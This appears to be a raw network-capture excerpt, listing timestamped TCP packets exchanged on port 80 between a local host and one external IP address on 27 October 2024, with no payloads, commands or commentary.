Oct 27, 2024 00:31:17.456882000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456893921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456907034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.456919909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.456940889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457227945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457240105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457250118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457259893 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457271099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457283020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457283974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457294941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457321882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457338095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457740068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457751989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457761049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457772017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457782984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457792044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457792997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457804918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457818031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.457818985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457838058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.457865953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458205938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458218098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458226919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458256006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458271027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458358049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458369970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458379030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458389044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458405972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458405972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458416939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458422899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458432913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458441019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458446026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458457947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458462000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458471060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.458478928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.458511114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459237099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459248066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459258080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459270000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459280968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459291935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459291935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459309101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459323883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459328890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459335089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459342957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459353924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459355116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459367037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459376097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459378958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459391117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459398031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459403992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.459420919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.459441900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460172892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460185051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460194111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460205078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460215092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460226059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460226059 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460237980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460241079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460249901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460261106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460262060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460273027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460273027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460284948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460297108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460304022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460308075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460320950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.460330963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460350037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.460371971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461147070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461158037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461168051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461179018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461189032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461199999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461199999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461210966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461220980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461224079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461230993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461241961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461250067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461263895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461268902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461281061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461292028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461299896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461302996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461318016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.461325884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.461352110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462096930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462107897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462117910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462129116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462140083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462147951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462152004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462157965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462163925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462179899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462187052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462191105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462203026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462213039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462219000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462225914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462236881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462239027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462249994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462280035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.462963104 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462975025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462984085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.462996006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.463006973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.463018894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.463022947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.463022947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.463028908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.463042974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.463073015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572168112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572264910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572283030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572318077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572319984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572355032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572369099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572390079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572402954 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572426081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572436094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572462082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572473049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572508097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572515965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572550058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572566986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572586060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572599888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572633028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572693110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572726965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572741985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572762012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572773933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572798967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572809935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572845936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572870016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572902918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572917938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572937965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572948933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.572973013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.572985888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573008060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573019981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573040962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573055029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573077917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573087931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573123932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573291063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573324919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573347092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573359966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573368073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573409081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573514938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573549032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573568106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573582888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573596001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573618889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573628902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573667049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573759079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573791981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573811054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573827028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573836088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573863983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573873043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573899031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573911905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573934078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.573945999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.573981047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574295998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574328899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574347019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574363947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574377060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574399948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574407101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574434996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574448109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574470043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574484110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574503899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574517965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574538946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574551105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574574947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574585915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574609995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574621916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574640036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574657917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574677944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574682951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574712992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574724913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574747086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.574759960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.574798107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575103998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575139046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575155973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575172901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575184107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575211048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575217962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575244904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575258970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575279951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575294018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575329065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575336933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575375080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575381994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575421095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575622082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575655937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575675011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575690031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575700045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575725079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575733900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575759888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575771093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575793982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575805902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575828075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575839996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575862885 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575875044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575897932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575910091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575933933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575952053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.575978994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.575985909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576013088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576028109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576050043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576060057 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576082945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576098919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576127052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576550961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576586008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576603889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576620102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576628923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576656103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576662064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576689005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576703072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576724052 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576735973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576752901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576769114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576787949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576802969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576822042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576838017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576857090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576868057 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576891899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576903105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576925993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576946020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576961040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.576976061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.576993942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577008009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577028990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577040911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577075005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577366114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577402115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577418089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577446938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577454090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577487946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577502012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577522993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577534914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577574015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577586889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577608109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577621937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577644110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577655077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577678919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577691078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577714920 CEST	80	49709	185.215.113.206	192.168.2.6
